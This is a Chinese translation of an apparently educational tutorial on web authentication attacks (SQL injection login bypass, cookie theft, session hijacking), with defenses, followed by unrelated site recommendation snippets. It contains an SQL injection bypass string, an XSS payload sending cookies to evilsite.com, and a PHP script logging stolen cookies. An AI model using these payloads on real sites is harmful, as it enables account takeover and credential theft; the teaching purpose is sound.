`

[译]web认证攻击(二)

 
阅读更多
原文地址:http://resources.infosecinstitute.com/hacking-web-authentication-part-2/
本文将继续介绍一些高级的认证方法。我们将介绍各种绕过认证的方法,以及如何避免这些漏洞。本文将会分成两部分。
[b]
A) 绕过认证
SQL Injection
Cookie Stealing
Session Hijacking
B)高级认证方法
Certificate Based Authentication
Two-Factor Authentication
Open ID
[/b]

绕过认证
绕过认证是一项非常有用的技术因为它在不需要知道用户口令的情况下就可以获得用户的资源。然而这项技术不能绕过HTTP基本认证类型,因为HTTP基本认证要求我们发送的每一个请求都包含username和password。
1)sql注入
这项技术适用于用户口令由数据库处理的情况。如果user的输入没有很好的判断,攻击者可能使用含有恶意的sql语言来绕过认证。
假如负责验证的sql语句如下,username和password是没有经过检查的输入,他们被送到SQL语句。
SELECT * FROM USER_TABLE WHERE USERNAME = 'Username' and PASSWORD = 'Password';

假如user输入username为“admin’OR 1=1 –”,密码为“blah”。
那么语句现在变成:
SELECT * FROM USER_TABLE WHERE USERNAME = 'admin' OR 1=1 --' and PASSWORD = 'blah';

我们仔细查看SQL语句,语句将会执行到下面,由于“–”,剩下的语句都被注释掉了。
SELECT * FROM USER_TABLE WHERE USERNAME = 'admin' OR 1=1 --

所以如果admin是一个在数据库中的合法的项,那么该语句将选择admin。所以在这种情况下不需要密码。必须采取输入检查来避免SQL注入。SQL注入形式很多,本文只介绍一种最简单的注入。同时需要注意口令并不总是保存在后台数据库,所以SQL注入不一定总能成功。

2)Cookie盗取
Cookie是另一种保存在user电脑上易受攻击的有价值信息。Cookie中包含关于user的有价值的信息,可能含有编码/加密后的username/pass,session ID等。web认证所关注的是,cookie中包含user和服务器之前状态的信息。一个例子是,一旦user成功登录,那么就设置相应的cookie。对于所有的后继请求,只要cookie没有到期,user不必在发送他的口令。然而这是一个安全问题。问题出现在在一个未加密的网络中,很可能通过wireshark这类监听工具来捕捉到cookie。一旦攻击者获得cookie,他可以伪装成该user。为了避免这类问题,可以在cookie中设置一些标志位。
Secure Flag –该标志确保cookie从不使用一个未加密的通道传输,并且总是通过一个安全通道(HTTPS)从客户发送到服务器。它可以避免监听。
Http-Only Flag –这个特性确保不可以从非http APIs来获得该cookie。避免攻击者使用JavaScript来获取受害者的cookie。
不是cookie中所有的值都是用来维护与网站之间的用户会话。有些用于监视用户活动,或者其他原因。使用火狐的Cookie Manager插件来查看cookie
有好几种方法来偷取cookie。本文将介绍通过XSS漏洞来获得cookie。就我们所知,XSS允许我们在user的浏览器中执行脚本,我们在受害者机器上执行下列脚本。
<script>document.location='http://evilsite.com?cookie=<script>document.cookie</script>'</script>

我们通过JavaScript来获得user的cookie然后传给一个外部的网站,用来存储这些cookie。为了通过JavaScript来获得cookie,我们不使用HTTP-Only标志。一旦攻击者获得user的cookie,他可以在他的浏览器中通过Cookie Manager之类的攻击在设置cookie,从而伪装成受害者。该方法是适合与使用cookie来管理c/s会话的网站。我们使用php来接收和存储cookie。
代码:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('user_info.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
//<a title="Redirect" href="http://resources.infosecinstitute.com/two-sides-to-every-story/">Redirect</a> the user to google.com
header ("Location: http://www.google.com");
?>

可以通过设置适当的标志位(Secure and HTTP-only)来避免这类攻击。避免在cookie中使用编码因为他很容易解码来获得原始值。而是应该使用加密来阻止监听攻击,甚至在一个开放的未加密的网络中。

3) Session劫持
许多场景中,认证过的user会收到一个网站提供的token或session ID。这个ID被用于后继的请求。如果攻击者可能获得这个Session ID,他很可能伪装成客户,成功与否取决于网站部署的安全机制。有很多方法可以获得这个session ID,有时它存储在cookie中,所以可以使用Cookie窃取来获得。有时通过一个参数来传递,例如在url中。如果攻击者可以在user和网站之间建立一个代理,很轻松获得url log从而获得session ID。如果知道session ID的范围,那么就可以使用Burp来进行暴力破解。
攻击者有很多方法可以获得session ID。有一个方法叫session固话攻击。这种攻击时,当user成功登录时,攻击者就可以控制session ID。他可以通过欺骗user点击一个特殊的url(例如site.com?session_id=3ejn324n23j423n3)来实现这种攻击,一旦受害者登录给定的session ID “3ejn324n23j423n3″,他就可以使用相同的session ID来伪装。这种方法只是用于使用session ID来验证受害者的情况。如果还需要其他的参数来验证,例如受害者的IP,MAC地址等,将失败。
分享到:
评论

相关推荐

    Spring Security3 张卫滨(译)

    通过阅读《Spring Security3 张卫滨(译)》,开发者可以深入理解Spring Security的工作原理,掌握其配置与使用技巧,从而在实际项目中构建安全可靠的Web应用程序。书中的实例和讲解将有助于解决在实现复杂安全需求时...

    《Spring Security 3》中文版 张卫滨译

    这些特性有助于防止常见的Web攻击。此外,Spring Security还支持OAuth2,可以与其他服务进行安全的集成,如社交登录服务。 对于API安全,Spring Security提供了对RESTful服务的保护。这包括JWT(JSON Web Tokens)...

    F5101考试学习指导(英译中)

    - **用途**:适用于需要高性能数据转发的应用场景,如大型Web应用。 - **用例**:例如,在视频流媒体服务中,快速的数据传递是关键,此时使用基于数据包转发的架构可以更好地满足需求。 #### 第三部分:负载均衡 ##...

    JSP毕业生招聘信息的发布与管理系统(论文+源代码+开题报告+外文翻译).rar

    外文翻译部分可能是系统开发过程中的参考文献或技术资料的中文译版,有助于开发者了解最新的技术动态和最佳实践。 九、源代码 源代码是系统的核心部分,包含了所有功能的实现细节。通过阅读源代码,可以学习到如何...

    PHP100教程2012版:CodeIgniter框架教程(3)(第17讲) 解压密码

    - **安全性**:内置了许多安全功能,如XSS过滤器等,可以有效防止常见的Web攻击。 ### 安装与配置 #### 1. 环境要求 - **PHP版本**:推荐使用PHP 5.6或更高版本。 - **服务器**:支持Apache、Nginx等多种Web服务器...

    yii框架 最新

    6. 安全防护:Yii框架对常见Web应用攻击如SQL注入、XSS(跨站脚本攻击)有很好的防护措施。它还提供了认证、授权机制,确保只有经过验证的用户才能访问特定资源。 7. 测试支持:Yii提供全面的测试工具,如单元测试...

    简易bbs系统 简易bbs系统

    BBS,全称Bulletin Board System,中文译为“电子公告板系统”,是一种基于文本的在线交流平台。它允许用户通过互联网发送消息、参与讨论、分享资源,是早期互联网社交的重要形式。简易BBS系统,正如其名,是一个...

    Session详解

    Session,中文常译为“会话”,在Web开发领域中扮演着至关重要的角色,尤其是在维护客户端与服务器之间的交互状态方面。Session的概念源远流长,但其核心在于“保持状态”,即确保在一系列操作或消息传递过程中,...

    test-authelia

    Authelia是一个开源的身份验证和授权代理,它可以与多种后端身份提供者集成,为Web应用提供二级或多因素认证。 2. **多因素认证**(MFA): - 多因素认证提高了安全性,因为它要求用户提供至少两种不同类型的凭证...

    BBS 论坛 系统 源码

    BBS,全称Bulletin Board System,中文译为“电子公告板”,是一种基于Web的在线交流平台。用户可以通过BBS系统发布信息、发表观点、参与讨论,是互联网上最早期的社区形式之一。在本文中,我们将深入探讨BBS系统的...

    深入解析tomcat.pdf

    4. **安全性**:讲解如何保护Tomcat服务器免受攻击,如设置SSL/TLS、用户认证、角色权限管理,以及防火墙和反向代理的配置。 5. **性能调优**:涵盖内存管理、线程池设置、连接器优化、日志和错误处理等方面的策略...

    django

    Django,中文译为“詹戈”,是基于Python语言的一款强大、高效且易用的Web开发框架。它遵循MVT(Model-View-Template)设计模式,使得开发者能够快速构建高质量的Web应用。Django的特性包括ORM(对象关系映射),...

    免费OA整站,ASP+Access,源码未加密

    同时,由于ASP代码可能暴露在Web服务器上,需要关注代码的安全性,防止SQL注入等攻击。 总结来说,这个免费的OA整站源码提供了一个基础的办公自动化平台,涵盖了用户认证、工作流程自动化、文档管理等核心功能。...

    formulaire-securisation:挑战1.2公式化PHP加密化

    这个词可能是对概念的误译或特定情境下的术语,但我们可以将其理解为一种将业务逻辑和安全策略规范化、系统化的过程,以提高代码的安全性和可维护性。在这个挑战中,我们可能需要关注如何在PHP中有效地实现数据的...

Global site tag (gtag.js) - Google Analytics